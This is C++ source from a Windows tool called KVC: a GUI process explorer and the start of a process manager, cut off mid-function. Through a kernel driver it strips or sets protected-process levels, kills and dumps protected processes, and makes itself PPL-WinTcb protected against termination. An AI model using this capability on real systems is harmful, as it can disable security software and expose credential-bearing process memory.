    
    m_hWnd = CreateWindowExW(
        0,
        className,
        L"KVC Process List - All Processes",
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT, CW_USEDEFAULT,
        1400, 800,
        nullptr,
        nullptr,
        GetModuleHandle(nullptr),
        this
    );
    
    return m_hWnd != nullptr;
}

// Creates the ListView control
bool ProcessListWindow::CreateListView()
{
    m_hListView = CreateWindowExW(
        0,
        WC_LISTVIEW,
        L"",
        WS_CHILD | WS_VISIBLE | WS_BORDER | LVS_REPORT | LVS_SINGLESEL | LVS_SHOWSELALWAYS,
        0, 40,
        1380, 680,
        m_hWnd,
        (HMENU)IDC_PROCESS_LISTVIEW,
        GetModuleHandle(nullptr),
        nullptr
    );
    
    if (!m_hListView) {
        return false;
    }
    
    // Enable full row select and grid lines
    ListView_SetExtendedListViewStyle(m_hListView, 
        LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_DOUBLEBUFFER);
    
    // Install subclass for typeahead search
    SetWindowSubclass(m_hListView, ListViewSubclassProc, 0, (DWORD_PTR)this);
    
    SetupListViewColumns();
    return true;
}

// Creates filter checkbox, search box, and refresh button
bool ProcessListWindow::CreateControls()
{
    HINSTANCE hInst = GetModuleHandle(nullptr);
    
    // Filter checkbox - jeszcze bardziej zwiększona szerokość
    m_hFilterCheck = CreateWindowExW(
        0, L"BUTTON", L"Show only protected",
        WS_CHILD | WS_VISIBLE | BS_AUTOCHECKBOX,
        10, 10, 200, 25,  // Zwiększone z 170 na 200
        m_hWnd, (HMENU)IDC_FILTER_PROTECTED, hInst, nullptr
    );
    
    // Search label - jeszcze bardziej przesunięta w prawo
    CreateWindowExW(
        0, L"STATIC", L"Search:",
        WS_CHILD | WS_VISIBLE | SS_LEFT,
        220, 13, 55, 20,  // Przesunięte z 190 na 220
        m_hWnd, nullptr, hInst, nullptr
    );
    
    // Search edit box - jeszcze bardziej przesunięta w prawo
    m_hSearchEdit = CreateWindowExW(
        WS_EX_CLIENTEDGE, L"EDIT", L"",
        WS_CHILD | WS_VISIBLE | ES_LEFT | ES_AUTOHSCROLL,
        280, 10, 200, 25,  // Przesunięte z 250 na 280
        m_hWnd, (HMENU)IDC_SEARCH_EDIT, hInst, nullptr
    );
    
    // Refresh button - jeszcze bardziej przesunięty w prawo
    m_hRefreshButton = CreateWindowExW(
        0, L"BUTTON", L"Refresh",
        WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
        490, 10, 80, 25,  // Przesunięte z 460 na 490
        m_hWnd, (HMENU)IDC_REFRESH_BUTTON, hInst, nullptr
    );
    
    // Status text
    m_hStatusText = CreateWindowExW(
        0, L"STATIC", L"Loading...",
        WS_CHILD | WS_VISIBLE | SS_LEFT,
        10, 730, 1360, 20,
        m_hWnd, (HMENU)IDC_STATUS_TEXT, hInst, nullptr
    );
    
    return true;
}

// Sets up ListView columns with appropriate widths
void ProcessListWindow::SetupListViewColumns()
{
    LVCOLUMNW col = {};
    col.mask = LVCF_TEXT | LVCF_WIDTH | LVCF_FMT;
    col.fmt = LVCFMT_LEFT;
    
    // PID
    col.pszText = (LPWSTR)L"PID";
    col.cx = 60;
    ListView_InsertColumn(m_hListView, COL_PID, &col);
    
    // Process Name
    col.pszText = (LPWSTR)L"Process Name";
    col.cx = 180;
    ListView_InsertColumn(m_hListView, COL_NAME, &col);
    
    // User
    col.pszText = (LPWSTR)L"User";
    col.cx = 200;
    ListView_InsertColumn(m_hListView, COL_USER, &col);
    
    // Integrity Level
    col.pszText = (LPWSTR)L"Integrity";
    col.cx = 80;
    ListView_InsertColumn(m_hListView, COL_INTEGRITY, &col);
    
    // Protection Level
    col.pszText = (LPWSTR)L"Protection";
    col.cx = 90;
    ListView_InsertColumn(m_hListView, COL_PROTECTION, &col);
    
    // Signer
    col.pszText = (LPWSTR)L"Signer";
    col.cx = 120;
    ListView_InsertColumn(m_hListView, COL_SIGNER, &col);
    
    // EXE Signature
    col.pszText = (LPWSTR)L"EXE Signature";
    col.cx = 120;
    ListView_InsertColumn(m_hListView, COL_EXE_SIG, &col);
    
    // DLL Signature
    col.pszText = (LPWSTR)L"DLL Signature";
    col.cx = 120;
    ListView_InsertColumn(m_hListView, COL_DLL_SIG, &col);
    
    // Kernel Address
    col.pszText = (LPWSTR)L"Kernel Address";
    col.cx = 140;
    ListView_InsertColumn(m_hListView, COL_KERNEL_ADDR, &col);
}

// Refreshes process list from kernel via driver
void ProcessListWindow::RefreshProcessList()
{
    if (!m_controller->BeginDriverSession()) {
        ERROR(L"Failed to start driver session for GUI");
        return;
    }
    
    m_processes = m_controller->GetAllProcessList();
    m_controller->EndDriverSession(true);
    
    PopulateListView();
    UpdateStatusBar();
}

// Populates ListView with filtered process data
void ProcessListWindow::PopulateListView()
{
    DWORD selectedPid = GetSelectedPID();
    
    ListView_DeleteAllItems(m_hListView);
    
    int itemIndex = 0;
    int indexToSelect = -1;
    
    for (const auto& proc : m_processes) {
        // Apply filters
        if (m_filterProtected && proc.ProtectionLevel == 0) {
            continue;
        }
        
        if (!m_searchText.empty()) {
            std::wstring nameLower = proc.ProcessName;
            std::wstring searchLower = m_searchText;
            std::transform(nameLower.begin(), nameLower.end(), nameLower.begin(), ::tolower);
            std::transform(searchLower.begin(), searchLower.end(), searchLower.begin(), ::tolower);
            
            if (nameLower.find(searchLower) == std::wstring::npos) {
                continue;
            }
        }
        
        // Insert item
        LVITEMW item = {};
        item.mask = LVIF_TEXT | LVIF_PARAM;
        item.iItem = itemIndex;
        item.lParam = proc.Pid;
        
        // PID
        wchar_t pidStr[32];
        swprintf_s(pidStr, L"%d", proc.Pid);
        item.pszText = pidStr;
        int actualIndex = ListView_InsertItem(m_hListView, &item);
        
        if (actualIndex >= 0) {
            // Check if this is the previously selected process
            if (proc.Pid == selectedPid) {
                indexToSelect = actualIndex;
            }
            
            // Process Name
            ListView_SetItemText(m_hListView, actualIndex, COL_NAME, (LPWSTR)proc.ProcessName.c_str());
            
            // User
            ListView_SetItemText(m_hListView, actualIndex, COL_USER, (LPWSTR)proc.UserName.c_str());
            
            // Integrity Level
            ListView_SetItemText(m_hListView, actualIndex, COL_INTEGRITY, (LPWSTR)proc.IntegrityLevel.c_str());
            
            // Protection Level
            ListView_SetItemText(m_hListView, actualIndex, COL_PROTECTION, 
                (LPWSTR)Utils::GetProtectionLevelAsString(proc.ProtectionLevel));
            
            // Signer
            ListView_SetItemText(m_hListView, actualIndex, COL_SIGNER, 
                (LPWSTR)Utils::GetSignerTypeAsString(proc.SignerType));
            
            // EXE Signature
            ListView_SetItemText(m_hListView, actualIndex, COL_EXE_SIG, 
                (LPWSTR)Utils::GetSignatureLevelAsString(proc.SignatureLevel));
            
            // DLL Signature
            ListView_SetItemText(m_hListView, actualIndex, COL_DLL_SIG, 
                (LPWSTR)Utils::GetSignatureLevelAsString(proc.SectionSignatureLevel));
            
            // Kernel Address
            wchar_t addrStr[32];
            swprintf_s(addrStr, L"0x%016llX", proc.KernelAddress);
            ListView_SetItemText(m_hListView, actualIndex, COL_KERNEL_ADDR, addrStr);
            
            itemIndex++;
        }
    }
    
    // Restore selection
    if (indexToSelect != -1) {
        ListView_SetItemState(m_hListView, indexToSelect, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
        ListView_EnsureVisible(m_hListView, indexToSelect, FALSE);
    }
}

// Updates status bar with process count
void ProcessListWindow::UpdateStatusBar()
{
    int totalCount = (int)m_processes.size();
    int displayedCount = ListView_GetItemCount(m_hListView);
    
    wchar_t statusText[256];
    swprintf_s(statusText, L"Total: %d processes | Displayed: %d", totalCount, displayedCount);
    SetWindowTextW(m_hStatusText, statusText);
}

// Gets PID of currently selected item
DWORD ProcessListWindow::GetSelectedPID()
{
    int selectedIndex = ListView_GetNextItem(m_hListView, -1, LVNI_SELECTED);
    if (selectedIndex < 0) {
        return 0;
    }
    
    LVITEMW item = {};
    item.mask = LVIF_PARAM;
    item.iItem = selectedIndex;
    
    if (ListView_GetItem(m_hListView, &item)) {
        return static_cast<DWORD>(item.lParam);
    }
    
    return 0;
}

// Determines text color for process based on protection characteristics
COLORREF ProcessListWindow::GetProcessColor(const ProcessEntry& entry)
{
    // Only color protected processes (ProtectionLevel > 0)
    if (entry.ProtectionLevel == 0) {
        return RGB(0, 0, 0); // Black for unprotected processes
    }

    // Kernel/Critical processes (highest protection signature levels)
    if (entry.SignatureLevel == 0x1e && entry.SectionSignatureLevel == 0x1c) {
        return RGB(128, 0, 128); // Purple
    }

    // Color by signer type for protected processes
    UCHAR signerType = entry.SignerType;
    
    if (signerType == 4) { // Lsa
        return RGB(200, 0, 0); // Red
    }
    if (signerType == 6) { // WinTcb
        return RGB(0, 160, 0); // Green
    }
    if (signerType == 7) { // WinSystem
        return RGB(0, 0, 200); // Blue
    }
    if (signerType == 5) { // Windows
        return RGB(0, 150, 150); // Teal/Cyan
    }
    if (signerType == 3) { // Antimalware
        return RGB(200, 150, 0); // Dark Yellow/Orange
    }

	// Default for other protected signers
	return RGB(200, 150, 0); // Dark Yellow
}

// Updates header sort direction indicators
void ProcessListWindow::UpdateHeaderSortIcon()
{
    HWND hHeader = ListView_GetHeader(m_hListView);
    int columnCount = Header_GetItemCount(hHeader);

    for (int i = 0; i < columnCount; i++) {
        HDITEM item = {};
        item.mask = HDI_FORMAT;
        Header_GetItem(hHeader, i, &item);

        item.fmt &= ~(HDF_SORTUP | HDF_SORTDOWN);

        if (i == m_sortColumn) {
            item.fmt |= (m_sortAscending ? HDF_SORTUP : HDF_SORTDOWN);
        }

        Header_SetItem(hHeader, i, &item);
    }
}

// Sorts ListView by column and refreshes display
void ProcessListWindow::SortListView(int column)
{
    // Toggle sort direction if same column, otherwise reset to ascending
    if (column == m_sortColumn) {
        m_sortAscending = !m_sortAscending;
    } else {
        m_sortColumn = column;
        m_sortAscending = true;
    }

    // Sort the process vector
    std::sort(m_processes.begin(), m_processes.end(), 
        [this](const ProcessEntry& a, const ProcessEntry& b) -> bool {
            bool result = false;

            switch (m_sortColumn) {
                case COL_PID: 
                    result = (a.Pid < b.Pid); 
                    break;
                
                case COL_NAME: 
                    result = (_wcsicmp(a.ProcessName.c_str(), b.ProcessName.c_str()) < 0); 
                    break;
                
                case COL_USER: 
                    result = (_wcsicmp(a.UserName.c_str(), b.UserName.c_str()) < 0); 
                    break;
                
                case COL_INTEGRITY: 
                    result = (_wcsicmp(a.IntegrityLevel.c_str(), b.IntegrityLevel.c_str()) < 0); 
                    break;
                
                case COL_PROTECTION:
                    if (a.ProtectionLevel != b.ProtectionLevel)
                        result = (a.ProtectionLevel < b.ProtectionLevel);
                    else
                        result = (a.SignerType < b.SignerType);
                    break;

                case COL_SIGNER:
                    result = (a.SignerType < b.SignerType);
                    break;

                case COL_EXE_SIG:
                    result = (a.SignatureLevel < b.SignatureLevel);
                    break;

                case COL_DLL_SIG:
                    result = (a.SectionSignatureLevel < b.SectionSignatureLevel);
                    break;

                case COL_KERNEL_ADDR:
                    result = (a.KernelAddress < b.KernelAddress);
                    break;

                default:
                    result = (a.Pid < b.Pid);
                    break;
            }

            return m_sortAscending ? result : !result;
        }
    );

    // Update header sort indicator
    UpdateHeaderSortIcon();
    
    // Refresh view with reduced flicker
    SendMessage(m_hListView, WM_SETREDRAW, FALSE, 0);
    PopulateListView();
    SendMessage(m_hListView, WM_SETREDRAW, TRUE, 0);
}

// Shows context menu for process operations
void ProcessListWindow::ShowContextMenu(int x, int y)
{
    if (GetSelectedPID() == 0) {
        return;
    }
    
    HMENU hMenu = CreatePopupMenu();
    AppendMenuW(hMenu, MF_STRING, IDM_PROTECT, L"Protect Process");
    AppendMenuW(hMenu, MF_STRING, IDM_UNPROTECT, L"Unprotect Process");
    AppendMenuW(hMenu, MF_SEPARATOR, 0, nullptr);
    AppendMenuW(hMenu, MF_STRING, IDM_KILL, L"Terminate Process");
    AppendMenuW(hMenu, MF_STRING, IDM_DUMP, L"Dump Process");
    AppendMenuW(hMenu, MF_STRING, IDM_MODULES, L"Show Modules");
    AppendMenuW(hMenu, MF_SEPARATOR, 0, nullptr);
    AppendMenuW(hMenu, MF_STRING, IDM_COPY_PID, L"Copy PID");
    AppendMenuW(hMenu, MF_STRING, IDM_COPY_NAME, L"Copy Name");
    
    TrackPopupMenu(hMenu, TPM_LEFTALIGN | TPM_TOPALIGN, x, y, 0, m_hWnd, nullptr);
    DestroyMenu(hMenu);
}

// Handles context menu command selection
void ProcessListWindow::HandleContextMenuCommand(UINT commandId)
{
    DWORD pid = GetSelectedPID();
    if (pid == 0) {
        return;
    }
    
    switch (commandId) {
        case IDM_PROTECT:
            ProtectSelected();
            break;
            
        case IDM_UNPROTECT:
            UnprotectSelected();
            break;
            
        case IDM_KILL:
            KillSelected();
            break;
            
        case IDM_DUMP:
            DumpSelected();
            break;
            
        case IDM_MODULES:
            ShowModulesSelected();
            break;
            
        case IDM_COPY_PID:
            CopySelectedToClipboard(COL_PID);
            break;
            
        case IDM_COPY_NAME:
            CopySelectedToClipboard(COL_NAME);
            break;
    }
}

// Protect selected process with configuration dialog
void ProcessListWindow::ProtectSelected()
{
    DWORD pid = GetSelectedPID();
    if (pid == 0) return;

    ProtectionParams params;
    params.TargetPid = pid;
    params.Confirmed = false;

    INT_PTR result = DialogBoxParam(
        GetModuleHandle(nullptr), 
        MAKEINTRESOURCE(IDD_PROTECT_DIALOG), 
        m_hWnd, 
        ProtectDialogProc, 
        (LPARAM)&params
    );

	if (params.Confirmed) {
		// Check if process is already protected (only if not forcing)
		if (!params.Force) {
			bool isProtected = false;
			for (const auto& proc : m_processes) {
				if (proc.Pid == pid) {
					isProtected = (proc.ProtectionLevel != 0);
					break;
				}
			}
			
			if (isProtected) {
				MessageBoxW(m_hWnd, L"Process is already protected. Use Force checkbox to override.", L"Information", MB_OK | MB_ICONINFORMATION);
				return;
			}
		}
		
		bool result = params.Force 
			? m_controller->SetProcessProtection(pid, params.SelectedLevel, params.SelectedSigner)
			: m_controller->ProtectProcess(pid, params.SelectedLevel, params.SelectedSigner);

		if (result) {
			RefreshProcessList();
			
			wchar_t msg[256];
			swprintf_s(msg, L"Process %d protected successfully with %s-%s", 
				pid, params.SelectedLevel.c_str(), params.SelectedSigner.c_str());
			MessageBoxW(m_hWnd, msg, L"Success", MB_OK | MB_ICONINFORMATION);
		} else {
			MessageBoxW(m_hWnd, L"Failed to protect process. Verify permissions or DSE status.", L"Error", MB_OK | MB_ICONERROR);
		}
	}
}

// Unprotect selected process
void ProcessListWindow::UnprotectSelected()
{
    DWORD pid = GetSelectedPID();
    if (pid == 0) return;
    
    // Check if process is already unprotected
    bool isProtected = false;
    for (const auto& proc : m_processes) {
        if (proc.Pid == pid) {
            isProtected = (proc.ProtectionLevel != 0);
            break;
        }
    }
    
    if (!isProtected) {
        MessageBoxW(m_hWnd, L"Process is already unprotected", L"Information", MB_OK | MB_ICONINFORMATION);
        return;
    }
    
    if (m_controller->UnprotectProcess(pid)) {
        RefreshProcessList();
        MessageBoxW(m_hWnd, L"Process unprotected successfully", L"Success", MB_OK | MB_ICONINFORMATION);
    } else {
        MessageBoxW(m_hWnd, L"Failed to unprotect process", L"Error", MB_OK | MB_ICONERROR);
    }
}

// Kill selected process
void ProcessListWindow::KillSelected()
{
    DWORD pid = GetSelectedPID();
    if (pid == 0) return;
    
    wchar_t msg[256];
    swprintf_s(msg, L"Are you sure you want to terminate process %d?", pid);
    
    if (MessageBoxW(m_hWnd, msg, L"Confirm Termination", MB_YESNO | MB_ICONWARNING) == IDYES) {
        if (m_controller->KillProcess(pid)) {
            RefreshProcessList();
            MessageBoxW(m_hWnd, L"Process terminated successfully", L"Success", MB_OK | MB_ICONINFORMATION);
        } else {
            MessageBoxW(m_hWnd, L"Failed to terminate process", L"Error", MB_OK | MB_ICONERROR);
        }
    }
}

// Dump selected process
void ProcessListWindow::DumpSelected()
{
    DWORD pid = GetSelectedPID();
    if (pid == 0) return;
    
    // Get Downloads folder path (same as CLI)
    std::wstring outPath;
    wchar_t* dl;
    if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &dl) == S_OK) {
        outPath = dl;
        outPath += L"\\";
        CoTaskMemFree(dl);
    } else {
        outPath = L".\\";
    }
    
    if (m_controller->DumpProcess(pid, outPath)) {
        wchar_t msg[512];
        swprintf_s(msg, L"Process dumped successfully to:\n%s", outPath.c_str());
        MessageBoxW(m_hWnd, msg, L"Success", MB_OK | MB_ICONINFORMATION);
    } else {
        MessageBoxW(m_hWnd, L"Failed to dump process", L"Error", MB_OK | MB_ICONERROR);
    }
}

// Show modules for selected process
void ProcessListWindow::ShowModulesSelected()
{
    DWORD pid = GetSelectedPID();
    if (pid == 0) return;
    
    m_controller->EnumerateProcessModules(pid);
    MessageBoxW(m_hWnd, L"Module list displayed in console", L"Info", MB_OK | MB_ICONINFORMATION);
}

// Copy selected item column to clipboard
void ProcessListWindow::CopySelectedToClipboard(ProcessColumn column)
{
    int selectedIndex = ListView_GetNextItem(m_hListView, -1, LVNI_SELECTED);
    if (selectedIndex < 0) return;
    
    wchar_t text[512] = {};
    ListView_GetItemText(m_hListView, selectedIndex, column, text, 512);
    
    if (OpenClipboard(m_hWnd)) {
        EmptyClipboard();
        
        int len = (int)wcslen(text);
        HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (len + 1) * sizeof(wchar_t));
        
        if (hMem) {
            wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
            wcscpy_s(pMem, len + 1, text);
            GlobalUnlock(hMem);
            
            SetClipboardData(CF_UNICODETEXT, hMem);
        }
        
        CloseClipboard();
    }
}

// Static window procedure that forwards to instance method
LRESULT CALLBACK ProcessListWindow::WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
    ProcessListWindow* pWindow = nullptr;
    
    if (msg == WM_CREATE) {
        CREATESTRUCT* pCreate = reinterpret_cast<CREATESTRUCT*>(lParam);
        pWindow = reinterpret_cast<ProcessListWindow*>(pCreate->lpCreateParams);
        SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast<LONG_PTR>(pWindow));
        pWindow->m_hWnd = hwnd;
        
        // Create child controls
        pWindow->CreateListView();
        pWindow->CreateControls();
        
    } else {
        pWindow = reinterpret_cast<ProcessListWindow*>(GetWindowLongPtr(hwnd, GWLP_USERDATA));
    }
    
    if (pWindow) {
        return pWindow->HandleMessage(msg, wParam, lParam);
    }
    
    return DefWindowProc(hwnd, msg, wParam, lParam);
}

// Instance message handler
LRESULT ProcessListWindow::HandleMessage(UINT msg, WPARAM wParam, LPARAM lParam)
{
    switch (msg) {
        case WM_SIZE:
            OnSize(LOWORD(lParam), HIWORD(lParam));
            return 0;
            
		case WM_NOTIFY:
			return OnNotify(reinterpret_cast<LPNMHDR>(lParam));
            
        case WM_COMMAND:
            OnCommand(wParam);
            return 0;
            
        case WM_CONTEXTMENU: {
            POINT pt = { GET_X_LPARAM(lParam), GET_Y_LPARAM(lParam) };
            ShowContextMenu(pt.x, pt.y);
            return 0;
        }
            
        case WM_DESTROY:
            OnDestroy();
            return 0;
    }
    
    return DefWindowProc(m_hWnd, msg, wParam, lParam);
}

// Handle window resize
void ProcessListWindow::OnSize(int width, int height)
{
    if (m_hListView) {
        SetWindowPos(m_hListView, nullptr, 0, 40, width - 20, height - 90, SWP_NOZORDER);
    }
    
    if (m_hStatusText) {
        SetWindowPos(m_hStatusText, nullptr, 10, height - 40, width - 20, 20, SWP_NOZORDER);
    }
}

// Handle notification messages
LRESULT ProcessListWindow::OnNotify(LPNMHDR pnmh)
{
    if (pnmh->idFrom == IDC_PROCESS_LISTVIEW) {
        
        // Handle column header click for sorting
        if (pnmh->code == LVN_COLUMNCLICK) {
            LPNMLISTVIEW pnmlv = reinterpret_cast<LPNMLISTVIEW>(pnmh);
            SortListView(pnmlv->iSubItem);
            return 0;
        }
        // Handle custom draw for row coloring
        else if (pnmh->code == NM_CUSTOMDRAW) {
            LPNMLVCUSTOMDRAW lplvcd = reinterpret_cast<LPNMLVCUSTOMDRAW>(pnmh);
            
            switch (lplvcd->nmcd.dwDrawStage) {
            case CDDS_PREPAINT:
                return CDRF_NOTIFYITEMDRAW;
                
            case CDDS_ITEMPREPAINT: {
                // Get PID from lParam instead of using dwItemSpec as index
                LVITEMW item = {};
                item.mask = LVIF_PARAM;
                item.iItem = static_cast<int>(lplvcd->nmcd.dwItemSpec);
                
                if (ListView_GetItem(m_hListView, &item)) {
                    DWORD pid = static_cast<DWORD>(item.lParam);
                    
                    // Find process in vector by PID
                    for (const auto& proc : m_processes) {
                        if (proc.Pid == pid) {
                            lplvcd->clrText = GetProcessColor(proc);
                            break;
                        }
                    }
                }
                return CDRF_NEWFONT;
            }
            }
        }
    }
    return 0;
}

// Handle command messages
void ProcessListWindow::OnCommand(WPARAM wParam)
{
    WORD commandId = LOWORD(wParam);
    
    switch (commandId) {
        case IDC_FILTER_PROTECTED:
            m_filterProtected = (Button_GetCheck(m_hFilterCheck) == BST_CHECKED);
            PopulateListView();
            UpdateStatusBar();
            break;
            
        case IDC_REFRESH_BUTTON:
            RefreshProcessList();
            break;
            
        case IDC_SEARCH_EDIT:
            if (HIWORD(wParam) == EN_CHANGE) {
                wchar_t searchText[256] = {};
                GetWindowTextW(m_hSearchEdit, searchText, 256);
                m_searchText = searchText;
                PopulateListView();
                UpdateStatusBar();
            }
            break;
            
        default:
            HandleContextMenuCommand(commandId);
            break;
    }
}

// Handle window destruction
void ProcessListWindow::OnDestroy()
{
    PostQuitMessage(0);
}

// ListView subclass procedure for typeahead search
LRESULT CALLBACK ProcessListWindow::ListViewSubclassProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData)
{
    ProcessListWindow* pThis = reinterpret_cast<ProcessListWindow*>(dwRefData);
    
    if (msg == WM_CHAR) {
        wchar_t ch = (wchar_t)wParam;
        
        // Handle alphanumeric characters
        if (iswalnum(ch)) {
            pThis->JumpToLetter(towlower(ch));
            return 0;
        }
    }
    
    return DefSubclassProc(hWnd, msg, wParam, lParam);
}

// Jump to first process name starting with given letter
void ProcessListWindow::JumpToLetter(wchar_t letter)
{
    int itemCount = ListView_GetItemCount(m_hListView);
    if (itemCount == 0) return;
    
    // Get currently selected item to start search from next item
    int currentSel = ListView_GetNextItem(m_hListView, -1, LVNI_SELECTED);
    int startFrom = (currentSel >= 0) ? currentSel + 1 : 0;
    
    // Search from current position to end
    for (int i = startFrom; i < itemCount; i++) {
        wchar_t text[256] = {};
        ListView_GetItemText(m_hListView, i, COL_NAME, text, 256);
        
        if (text[0] && towlower(text[0]) == letter) {
            // Found matching item - select and ensure visible
            ListView_SetItemState(m_hListView, -1, 0, LVIS_SELECTED | LVIS_FOCUSED);
            ListView_SetItemState(m_hListView, i, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
            ListView_EnsureVisible(m_hListView, i, FALSE);
            return;
        }
    }
    
    // If not found from current position, search from beginning
    for (int i = 0; i < startFrom; i++) {
        wchar_t text[256] = {};
        ListView_GetItemText(m_hListView, i, COL_NAME, text, 256);
        
        if (text[0] && towlower(text[0]) == letter) {
            ListView_SetItemState(m_hListView, -1, 0, LVIS_SELECTED | LVIS_FOCUSED);
            ListView_SetItemState(m_hListView, i, LVIS_SELECTED | LVIS_FOCUSED, LVIS_SELECTED | LVIS_FOCUSED);
            ListView_EnsureVisible(m_hListView, i, FALSE);
            return;
        }
    }
}

// Entry point function for GUI mode
void ShowProcessListGUI(Controller* controller)
{
    INFO(L"[GUI] Initializing High-Security Environment...");
    if (controller->BeginDriverSession()) 
    {
        if (controller->SelfProtect(L"PPL", L"WinTcb")) {
            SUCCESS(L"[GUI] Self-Protection Active: PPL-WinTcb applied.");
            SUCCESS(L"[GUI] Process is now immune to external termination.");
        } else {
            ERROR(L"[GUI] Failed to apply Self-Protection. Running in standard mode.");
        }
        controller->EndDriverSession(false);
    }
    else
    {
        ERROR(L"[GUI] Failed to initialize driver session. Self-Protection unavailable.");
    }
    ProcessListWindow window(controller);
    window.Show();
}

<<<FILE: kvc/ProcessListGUI.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     3.5 KB
// ProcessListGUI.h - GUI window for displaying all system processes with detailed information
// Implements ListView-based process explorer with sorting, filtering, and context menu operations

#pragma once

#include "common.h"
#include "Controller.h"
#include <vector>
#include <string>
#include <commctrl.h>
#pragma comment(lib, "comctl32.lib")

// Backward compatibility safeguard for Windows API programming.
#ifndef IDC_STATIC
#define IDC_STATIC -1
#endif

// Resource IDs for dialog and controls
#define IDD_PROCESS_LIST        1001
#define IDC_PROCESS_LISTVIEW    1002
#define IDC_FILTER_PROTECTED    1003
#define IDC_SEARCH_EDIT         1004
#define IDC_REFRESH_BUTTON      1005
#define IDC_STATUS_TEXT         1006

#define IDD_PROTECT_DIALOG      1100
#define IDC_COMBO_LEVEL         1101
#define IDC_COMBO_SIGNER        1102
#define IDC_BTN_OK              1103
#define IDC_BTN_CANCEL          1104
#define IDC_LABEL_PID           1105
#define IDC_CHECK_FORCE         1106

// Context menu IDs
#define IDM_PROTECT             2001
#define IDM_UNPROTECT           2002
#define IDM_KILL                2003
#define IDM_DUMP                2004
#define IDM_MODULES             2005
#define IDM_COPY_PID            2006
#define IDM_COPY_NAME           2007
#define IDM_COPY_PATH           2008

// ListView column indices
enum ProcessColumn {
    COL_PID = 0,
    COL_NAME,
    COL_USER,
    COL_INTEGRITY,
    COL_PROTECTION,
    COL_SIGNER,
    COL_EXE_SIG,
    COL_DLL_SIG,
    COL_KERNEL_ADDR
};

// Main window class for process list GUI
class ProcessListWindow
{
public:
    ProcessListWindow(Controller* controller);
    ~ProcessListWindow();

    // Show the window and enter message loop
    void Show();

private:
    Controller* m_controller;
    HWND m_hWnd;
    HWND m_hListView;
    HWND m_hFilterCheck;
    HWND m_hSearchEdit;
    HWND m_hRefreshButton;
    HWND m_hStatusText;
    
    std::vector<ProcessEntry> m_processes;
    bool m_filterProtected;
    std::wstring m_searchText;
    int m_sortColumn;
    bool m_sortAscending;

    // Window creation and initialization
    bool CreateMainWindow();
    bool CreateListView();
    bool CreateControls();
    void SetupListViewColumns();
    
    // Data management
    void RefreshProcessList();
    void PopulateListView();
    void ApplyFilters();
    void UpdateStatusBar();
    
    // ListView operations
    void SortListView(int column);
    void UpdateHeaderSortIcon();
    COLORREF GetProcessColor(const ProcessEntry& entry);
    DWORD GetSelectedPID();
    std::wstring GetSelectedProcessName();
    void CopySelectedToClipboard(ProcessColumn column);
    
    // Context menu
    void ShowContextMenu(int x, int y);
    void HandleContextMenuCommand(UINT commandId);
    
    // Process operations
    void ProtectSelected();
    void UnprotectSelected();
    void KillSelected();
    void DumpSelected();
    void ShowModulesSelected();
    
    // Message handlers
    static LRESULT CALLBACK WindowProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam);
    LRESULT HandleMessage(UINT msg, WPARAM wParam, LPARAM lParam);
    void OnSize(int width, int height);
    LRESULT OnNotify(LPNMHDR pnmh);
    void OnCommand(WPARAM wParam);
    void OnDestroy();
    
    // ListView typeahead search
    static LRESULT CALLBACK ListViewSubclassProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, UINT_PTR uIdSubclass, DWORD_PTR dwRefData);
    void JumpToLetter(wchar_t letter);
};

// Entry point function called from kvc.cpp when --gui flag is used
void ShowProcessListGUI(Controller* controller);

<<<FILE: kvc/ProcessManager.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:45:18
Size:     10.11 KB
// ProcessManager.cpp
#include "ProcessManager.h"
#include "Controller.h"
#include "Utils.h"
#include <cwctype>
#include <sstream>
#include <iostream>
#include <iomanip>
#include <TlHelp32.h>
#include <algorithm>
#include <cctype>

extern volatile bool g_interrupted;

// Helper function to check if string contains only digits (PID)
bool ProcessManager::IsNumericPid(std::wstring_view input) noexcept {
    if (input.empty()) return false;
    return std::all_of(input.begin(), input.end(), [](wchar_t c) { return iswdigit(c); });
}

// Find process PIDs by name using Windows toolhelp API
std::vector<DWORD> ProcessManager::FindProcessIdsByName(const std::wstring& processName) noexcept {
    std::vector<DWORD> pids;
    
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return pids;
    }

    PROCESSENTRY32W pe;
    pe.dwSize = sizeof(PROCESSENTRY32W);
    
    if (Process32FirstW(hSnapshot, &pe)) {
        do {
            std::wstring currentName = pe.szExeFile;
            
            // Remove .exe extension for comparison if present
            if (currentName.size() > 4 && currentName.substr(currentName.size() - 4) == L".exe") {
                currentName = currentName.substr(0, currentName.size() - 4);
            }
            
            // Case-insensitive partial match
            std::wstring lowerCurrent = currentName;
            std::wstring lowerTarget = processName;
            StringUtils::ToLower(lowerCurrent);
            StringUtils::ToLower(lowerTarget);
            
            if (lowerCurrent.find(lowerTarget) != std::wstring::npos) {
                pids.push_back(pe.th32ProcessID);
            }
            
        } while (Process32NextW(hSnapshot, &pe));
    }
    
    CloseHandle(hSnapshot);
    return pids;
}

// Terminate process with automatic protection elevation
bool ProcessManager::TerminateProcessWithProtection(DWORD processId, Controller* controller) noexcept {
    if (!controller) {
        ERROR(L"Controller not available for protection elevation");
        return false;
    }

    if (g_interrupted) {
        INFO(L"Operation cancelled by user before termination");
        return false;
    }

    std::wstring processName = Utils::GetProcessName(processId);
    INFO(L"Attempting to terminate process: %s (PID %d)", processName.c_str(), processId);

    // Get target process protection level for self-elevation
    auto kernelAddr = controller->GetProcessKernelAddress(processId);
    bool needsSelfProtection = false;
    std::wstring levelStr, signerStr;

